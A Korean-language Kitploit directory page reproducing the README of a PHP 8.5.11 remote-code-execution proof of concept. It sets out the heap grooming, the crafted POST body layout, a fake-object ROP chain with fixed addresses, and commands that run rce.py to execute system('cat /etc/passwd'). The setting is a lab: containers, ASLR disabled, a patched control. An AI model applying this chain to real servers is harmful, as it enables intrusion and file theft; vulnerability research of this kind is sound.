Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
actual-php2shell — 🤖 아니요, 이 취약점을 익스플로잇하는 쉬운 방법이 있습니다! (요점을 증명하기 위해 바이브코딩됨) | Kitploit
도구/GitHubGitHub/cookiengineer/actual-php2shell
Container SecurityMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringShellcodePapers & ResearchBinary Exploitation
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 아니요, 이 취약점을 익스플로잇하는 쉬운 방법이 있습니다! (요점을 증명하기 위해 바이브코딩됨)

저장소 보기
176317시간 40분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

actual-php2shell

PHP 8.5.11(2026년 10월 권고)에 대한 재현 가능하고 애플리케이션 독립적인 원격 코드 실행 PoC입니다. 두 개의 2026년 PHP 메모리 손상 권고를 애플리케이션 코드 없이 system("cat /etc/passwd")로 전환합니다. 피해자의 index.php는 단지 ok를 출력할 뿐입니다.

  • CVE-2026-109618 — OOM longjmp가 절반만 구축된 HashTable을 버려서, 종료 시 파괴되는 댕글링 버킷을 남깁니다. 이것이 RCE 프리미티브입니다.
  • CVE-2026-109619 — 요청 소유의 오류 상태(치명적 오류 백트레이스)가 요청 종료 후에도 살아남아 다음 요청에 의해 다시 해제됩니다. 이것이 정보 유출 / ASLR 우회 프리미티브입니다 (여기서는 별도의 데모).

모든 것이 Podman 컨테이너에서 완전히 재현 가능합니다. 확인된 엔드투엔드 결과는 /etc/passwd를 읽는 ./exploits/cve-2026-109618-oom/rce.py입니다.


1. 취약점 (CVE-2026-109618)

PHP가 메모리 부족 상태가 되면 zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp)을 호출합니다. 8.5.11에서 해시 테이블 삽입은 할당 실패 가능성이 없으므로, OOM이 HashTable을 절반만 수정한 상태로 언와인드할 수 있습니다.

손상 지점은 _zend_hash_str_add_or_update_i()의 add_to_hash(Zend/zend_hash.c:960)입니다:

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

zend_string_init 키 복사가 OOM을 일으키면, 버킷 p는 기록되지 않은 채 남지만(key/h/val 모두 오래된 상태) nNumUsed는 이미 증가된 상태입니다. 요청 종료 시 zend_array_destroy()가 nNumUsed개의 버킷을 순회하며 기록되지 않은 버킷의 쓰레기 val — 공격자가 조작한 값 — 에 대해 i_zval_ptr_dtor(&p->val)을 호출합니다. 8.5.12 수정은 이러한 모든 할당을 실패 가능한 변형(femalloc/fperealloc2 + HASH_FALLIBLE)으로 대체하여, 삽입이 중단되는 대신 깔끔하게 반환되도록 합니다.

2. 객체 그래프 / 힙 펑슈이 밸런스

이 익스플로잇은 전적으로 하나의 제어된 2560바이트 블록이 마지막 버킷이 OOM 버킷인 HashTable의 arData가 되도록 만드는 것에 관한 것입니다. 밸런싱해야 했던 값들과 그 이유는 다음과 같습니다:

타입 / 변수크기역할
zend_array (HashTable) 헤더56 BarData, nNumUsed, nTableSize, pDestructor
Bucket32 Bval(16) + h(8) + key(8); 기록되지 않은 것이 우리의 목표
zval16 Bvalue(8) + u1.type_info(4) + u2(4) — 우리가 type_info를 설정
zend_string24 B 헤더 + 데이터패드 값; 길이가 할당자 빈을 결정
zend_object56 B가짜 객체: gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj가 피벗 가젯
zend_mm_heap / zend_mm_chunk—free_slot[], free_tail, map[] (빈 28 = 2560 B)

전체 펑슈이가 의존하는 두 가지 할당자 사실:

  1. 64버킷 테이블의 arData는 정확히 2560바이트 = 빈 28 (HT_SIZE_EX(64) = 64*32 버킷 + 128*4 해시 = 2560), 왜냐하면 HT_SIZE_TO_MASK(n) = -(2n)이기 때문입니다.
  2. b150(순회됨)과 b0e0(폐기됨)은 심테이블 SEPARATE_ARRAY/간접 경로에 의해 생성된 $_POST["a"]의 두 복사본입니다; 각 a[<large>][c]=v 필드는 <large> 키를 둘 다에 삽입하며, b0e0은 항상 1개의 키가 앞서 있습니다. php_request_shutdown에 의해 파괴되는 것은 b150뿐이므로, OOM은 b150에 발생해야 합니다.

3. 전체 체인 (rce.py 참조)

요청 본문은 urlencoded POST입니다:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. **memshift (~40 KB)**는 OOM 필드의 첫 번째 삽입 시점, 즉 폐기된 b0e0가 아니라 순회 중인 테이블인 **b150**에 OOM이 발생할 만큼만 메모리를 소비합니다.
  2. pad=<2528 B>: add_post_var는 estrndup(A)를 수행한 다음 ZVAL_STRINGL_FAST(B, copy)를 수행합니다. 측정된 B = padlen + 32이므로, padlen=2528이면 A = 2529, B = 2560이 되어 둘 다 bin 28에 해당합니다. A는 estrndup 경로에서 해제됩니다.
  3. **pad=x (중복 키)**는 유지된 복사본 B를 DTOR 처리하여 두 번째의 별개인 bin-28 슬롯을 해제합니다. 이제 b150의 32→64 리사이즈가 B를 재사용하므로, 우리가 제어하는 바이트가 b150의 arData가 됩니다.
  4. pad 바이트는 페이로드를 arData의 제어된 꼬리 부분(버킷 46–63, 원시 오프셋 ≥ 1984)에 배치합니다. zend_hash_rehash에 의해 다시 작성되는 해시 배열인 오프셋 0x100이 아닙니다.
  5. 기록되지 않은 버킷(원시 오프셋 1952 = pad 오프셋 1928)은 IS_OBJECT로 설정되고 value.obj = &fake_object가 됩니다.
  6. 종료 시 해당 버킷을 순회합니다: i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt"); 이어서 GET /leak.txt 요청이 파일을 반환합니다.

실제 디버깅 시간을 소모한 두 가지 미묘한 요구 사항(둘 다 rce.py에 있음):

  • 가짜 객체/ROP는 arData 꼬리에 위치해야 합니다. pad 오프셋 0x100은 해시 배열이며 덮어쓰여집니다.
  • __libc_system은 movaps(16바이트 정렬)를 사용하므로, pop rdi; ret와 system 사이에 추가 ret 가젯을 삽입해야 합니다. 그렇지 않으면 execve 전에 __libc_system 내부에서 SIGSEGV가 발생합니다.

4. 대상 주소 (ASLR 비활성화, setarch -R)

php-rce-oom-debug:8.5.11(베이스 php-rce-base:8.5.11) 기준으로 측정했습니다. libphp/libc 베이스는 베이스 빌드 전반에서 동일하며, 힙 오프셋 B는 설치된 라이브러리에 따라 달라지므로(gdb 설치로 이동함) 다른 이미지에서는 B를 다시 측정하거나, ASLR이 켜진 경우 정보 유출을 통해 확인해야 합니다.

심볼주소
libphp 베이스0x7ffff4400000
libc 베이스0x7ffff7cd4000
system0x7ffff7d20490 (libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5 (libc+0x277e5)
ret0x7ffff7cfb7e6
pivot (jump_fcontext+0x2e)0x7ffff49fb8ae
main chunk ([anon:zend_alloc])0x7ffff7200000
B (arData 원시 블록 = b150->arData - 512)0x7ffff725e400
가짜 핸들러B + 24 + 2000 = 0x7ffff725ebe8
가짜 객체B + 24 + 2048 = 0x7ffff725ec18
cmd 문자열B + 24 + 2200 = 0x7ffff725ecb0

ROP 체인(가짜 객체 o 기준):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. 재현

Podman이 필요합니다. 저장소 루트에서:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

예상 출력:

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

기타 데모

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh

6. 저장소 레이아웃

affected-versions/          vendored vulnerable PHP tarballs (8.2.34/8.3.35/8.4.26/8.5.11)
patched-versions/           vendored patched 8.5.12 tarball (negative control)
references/                 the two GHSA advisories + the 2004 Esser advisory + php-bug-78876
container/
  base/                     shared Apache 2.4 + PHP build (parameterized by version)
  cve-2026-109618-oom/      OOM victim (memory_limit=8M) + gdb debug layer
  cve-2026-109619-stale-state/   stale-backtrace UAF victim + gdb debug layer
  cve-2026-109619-info-leak/     info-leak / ASLR-bypass victim
  negative-control/         patched 8.5.12, same config
exploits/
  lib/client.py             raw-socket HTTP client (controlled framing)
  cve-2026-109618-oom/      exploit.py (trigger), stalealias.py, rce.py, trace.py/trace.sh
  cve-2026-109619-stale-state/   producer/consumer/exploit/rop/leak + run.sh + trace.sh
  cve-2026-109619-info-leak/     leak.py + run.sh
  negative-control/
docs/
  attack-surface.md         exact vulnerable source locations
  memory-layout.md          measured object graph + ROP + addresses
  heap-feng-shui.md         the grooming progress log (§8.8–8.16 is the RCE chain)
  info-leak.md              the info-leak / ASLR-bypass primitive
  exploit-plan.md / implementation-plan.md / tasks.md

7. 범위 / 주의사항

  • 이는 주소가 고정되도록 ASLR이 비활성화된(setarch -R) PoC입니다. ASLR이 켜진 경우 힙 베이스와 모듈 베이스는 cve-2026-109619-info-leak 프리미티브(docs/info-leak.md)에서 가져와야 합니다.
  • B 오프셋은 이미지에 따라 달라집니다(설치된 라이브러리가 힙을 이동시킴). 다른 이미지의 경우 gdb 추적기로 B = b150->arData - 512를 다시 측정하십시오.
  • victim은 애플리케이션과 무관합니다. index.php는 파일시스템 I/O를 수행하지 않으며 익스플로잇에 관여하지 않습니다.
  • 전체 발견 사항과 단계별 할당자 추론은 docs/에 있습니다.
도구 다운로드